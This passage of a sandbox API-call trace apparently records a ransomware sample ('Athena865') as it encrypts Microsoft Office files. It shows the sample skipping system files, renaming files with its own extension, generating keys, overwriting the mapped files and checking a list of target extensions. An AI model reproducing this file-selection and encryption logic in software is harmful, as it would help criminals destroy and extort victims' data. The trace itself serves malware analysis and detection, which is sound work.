dwFlags=0x1) returned 1 [0075.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.868] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0075.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.869] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.869] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.869] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.870] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0075.874] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0075.879] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.880] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.880] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.881] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.881] CloseHandle (hObject=0x17c) returned 1 [0075.881] CloseHandle (hObject=0x154) returned 1 [0075.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.881] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="MSCSS7~3.DUB")) returned 1 [0075.881] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.881] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.881] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".") returned 1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="..") returned 1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="windows") returned -1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="bootmgr") returned 1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="temp") returned -1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="pagefile.sys") returned -1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="boot") returned 1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="ids.txt") returned 1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="ntuser.dat") returned -1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="perflogs") returned -1 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2="MSBuild") returned 1 [0075.882] lstrlenW (lpString="mscss7cm_fr.dub") returned 15 [0075.882] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7cm_fr.dub" | out: lpString1="mscss7cm_fr.dub") returned="mscss7cm_fr.dub" [0075.882] lstrlenW (lpString="mscss7cm_fr.dub") returned 15 [0075.882] lstrlenW (lpString="Athena865") returned 9 [0075.882] lstrcmpiW (lpString1="cm_fr.dub", lpString2="Athena865") returned 1 [0075.882] lstrlenW (lpString=".dll") returned 4 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".dll") returned 1 [0075.882] lstrlenW (lpString=".lnk") returned 4 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".lnk") returned 1 [0075.882] lstrlenW (lpString=".ini") returned 4 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".ini") returned 1 [0075.882] lstrlenW (lpString=".sys") returned 4 [0075.882] lstrcmpiW (lpString1="mscss7cm_fr.dub", lpString2=".sys") returned 1 [0075.882] lstrlenW (lpString="mscss7cm_fr.dub") returned 15 [0075.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub.Athena865") returned 68 [0075.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub.athena865"), dwFlags=0x1) returned 1 [0075.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_fr.dub.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.891] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0075.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.891] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.892] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.892] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.892] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0075.900] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0075.904] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.905] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.905] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.905] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.905] CloseHandle (hObject=0x17c) returned 1 [0075.906] CloseHandle (hObject=0x154) returned 1 [0075.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.906] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="..") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="windows") returned -1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="bootmgr") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="temp") returned -1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="pagefile.sys") returned -1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="boot") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="ids.txt") returned 1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="ntuser.dat") returned -1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="perflogs") returned -1 [0075.906] lstrcmpiW (lpString1="mscss7en.dll", lpString2="MSBuild") returned 1 [0075.906] lstrlenW (lpString="mscss7en.dll") returned 12 [0075.906] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7en.dll" | out: lpString1="mscss7en.dll") returned="mscss7en.dll" [0075.906] lstrlenW (lpString="mscss7en.dll") returned 12 [0075.906] lstrlenW (lpString="Athena865") returned 9 [0075.906] lstrcmpiW (lpString1="ss7en.dll", lpString2="Athena865") returned 1 [0075.907] lstrlenW (lpString=".dll") returned 4 [0075.907] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".dll") returned 1 [0075.907] lstrlenW (lpString=".lnk") returned 4 [0075.907] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".lnk") returned 1 [0075.907] lstrlenW (lpString=".ini") returned 4 [0075.907] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".ini") returned 1 [0075.907] lstrlenW (lpString=".sys") returned 4 [0075.907] lstrcmpiW (lpString1="mscss7en.dll", lpString2=".sys") returned 1 [0075.907] lstrlenW (lpString="mscss7en.dll") returned 12 [0075.907] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7en.dll.Athena865") returned 65 [0075.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7en.dll" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7en.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7en.dll.athena865"), dwFlags=0x1) returned 1 [0075.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7en.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7en.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.909] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=480152) returned 1 [0075.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.909] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.910] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.910] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.910] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x756a0, lpName=0x0) returned 0x17c [0075.911] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x756a0) returned 0x2d50000 [0075.933] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.933] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.933] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.934] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.938] CloseHandle (hObject=0x17c) returned 1 [0075.939] CloseHandle (hObject=0x154) returned 1 [0075.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.941] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="..") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="windows") returned -1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="bootmgr") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="temp") returned -1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="pagefile.sys") returned -1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="boot") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="ids.txt") returned 1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="ntuser.dat") returned -1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="perflogs") returned -1 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2="MSBuild") returned 1 [0075.941] lstrlenW (lpString="mscss7es.dll") returned 12 [0075.941] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7es.dll" | out: lpString1="mscss7es.dll") returned="mscss7es.dll" [0075.941] lstrlenW (lpString="mscss7es.dll") returned 12 [0075.941] lstrlenW (lpString="Athena865") returned 9 [0075.941] lstrcmpiW (lpString1="ss7es.dll", lpString2="Athena865") returned 1 [0075.941] lstrlenW (lpString=".dll") returned 4 [0075.941] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".dll") returned 1 [0075.942] lstrlenW (lpString=".lnk") returned 4 [0075.942] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".lnk") returned 1 [0075.942] lstrlenW (lpString=".ini") returned 4 [0075.942] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".ini") returned 1 [0075.942] lstrlenW (lpString=".sys") returned 4 [0075.942] lstrcmpiW (lpString1="mscss7es.dll", lpString2=".sys") returned 1 [0075.942] lstrlenW (lpString="mscss7es.dll") returned 12 [0075.942] lstrlenW (lpString="bak") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0075.942] lstrlenW (lpString="ba_") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0075.942] lstrlenW (lpString="dbb") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0075.942] lstrlenW (lpString="vmdk") returned 4 [0075.942] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0075.942] lstrlenW (lpString="rar") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0075.942] lstrlenW (lpString="zip") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0075.942] lstrlenW (lpString="tgz") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0075.942] lstrlenW (lpString="vbox") returned 4 [0075.942] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0075.942] lstrlenW (lpString="vdi") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0075.942] lstrlenW (lpString="vhd") returned 3 [0075.942] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0075.942] lstrlenW (lpString="vhdx") returned 4 [0075.942] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0075.942] lstrlenW (lpString="avhd") returned 4 [0075.942] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0075.943] lstrlenW (lpString="db") returned 2 [0075.943] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0075.943] lstrlenW (lpString="db2") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0075.943] lstrlenW (lpString="db3") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0075.943] lstrlenW (lpString="dbf") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0075.943] lstrlenW (lpString="mdf") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0075.943] lstrlenW (lpString="mdb") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0075.943] lstrlenW (lpString="sql") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0075.943] lstrlenW (lpString="sqlite") returned 6 [0075.943] lstrcmpiW (lpString1="es.dll", lpString2="sqlite") returned -1 [0075.943] lstrlenW (lpString="sqlite3") returned 7 [0075.943] lstrcmpiW (lpString1="7es.dll", lpString2="sqlite3") returned -1 [0075.943] lstrlenW (lpString="sqlitedb") returned 8 [0075.943] lstrcmpiW (lpString1="s7es.dll", lpString2="sqlitedb") returned -1 [0075.943] lstrlenW (lpString="xml") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0075.943] lstrlenW (lpString="$er") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0075.943] lstrlenW (lpString="4dd") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0075.943] lstrlenW (lpString="4dl") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0075.943] lstrlenW (lpString="^^^") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0075.943] lstrlenW (lpString="abs") returned 3 [0075.943] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0075.944] lstrlenW (lpString="abx") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0075.944] lstrlenW (lpString="accdb") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0075.944] lstrlenW (lpString="accdc") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0075.944] lstrlenW (lpString="accde") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0075.944] lstrlenW (lpString="accdr") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0075.944] lstrlenW (lpString="accdt") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0075.944] lstrlenW (lpString="accdw") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0075.944] lstrlenW (lpString="accft") returned 5 [0075.944] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0075.944] lstrlenW (lpString="adb") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0075.944] lstrlenW (lpString="adb") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0075.944] lstrlenW (lpString="ade") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0075.944] lstrlenW (lpString="adf") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0075.944] lstrlenW (lpString="adn") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0075.944] lstrlenW (lpString="adp") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0075.944] lstrlenW (lpString="alf") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0075.944] lstrlenW (lpString="ask") returned 3 [0075.944] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0075.945] lstrlenW (lpString="btr") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0075.945] lstrlenW (lpString="cat") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0075.945] lstrlenW (lpString="cdb") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0075.945] lstrlenW (lpString="ckp") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0075.945] lstrlenW (lpString="cma") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0075.945] lstrlenW (lpString="cpd") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0075.945] lstrlenW (lpString="dacpac") returned 6 [0075.945] lstrcmpiW (lpString1="es.dll", lpString2="dacpac") returned 1 [0075.945] lstrlenW (lpString="dad") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0075.945] lstrlenW (lpString="dadiagrams") returned 10 [0075.945] lstrcmpiW (lpString1="css7es.dll", lpString2="dadiagrams") returned -1 [0075.945] lstrlenW (lpString="daschema") returned 8 [0075.945] lstrcmpiW (lpString1="s7es.dll", lpString2="daschema") returned 1 [0075.945] lstrlenW (lpString="db-journal") returned 10 [0075.945] lstrcmpiW (lpString1="css7es.dll", lpString2="db-journal") returned -1 [0075.945] lstrlenW (lpString="db-shm") returned 6 [0075.945] lstrcmpiW (lpString1="es.dll", lpString2="db-shm") returned 1 [0075.945] lstrlenW (lpString="db-wal") returned 6 [0075.945] lstrcmpiW (lpString1="es.dll", lpString2="db-wal") returned 1 [0075.945] lstrlenW (lpString="dbc") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0075.945] lstrlenW (lpString="dbs") returned 3 [0075.945] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0075.945] lstrlenW (lpString="dbt") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0075.946] lstrlenW (lpString="dbv") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0075.946] lstrlenW (lpString="dbx") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0075.946] lstrlenW (lpString="dcb") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0075.946] lstrlenW (lpString="dct") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0075.946] lstrlenW (lpString="dcx") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0075.946] lstrlenW (lpString="ddl") returned 3 [0075.946] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 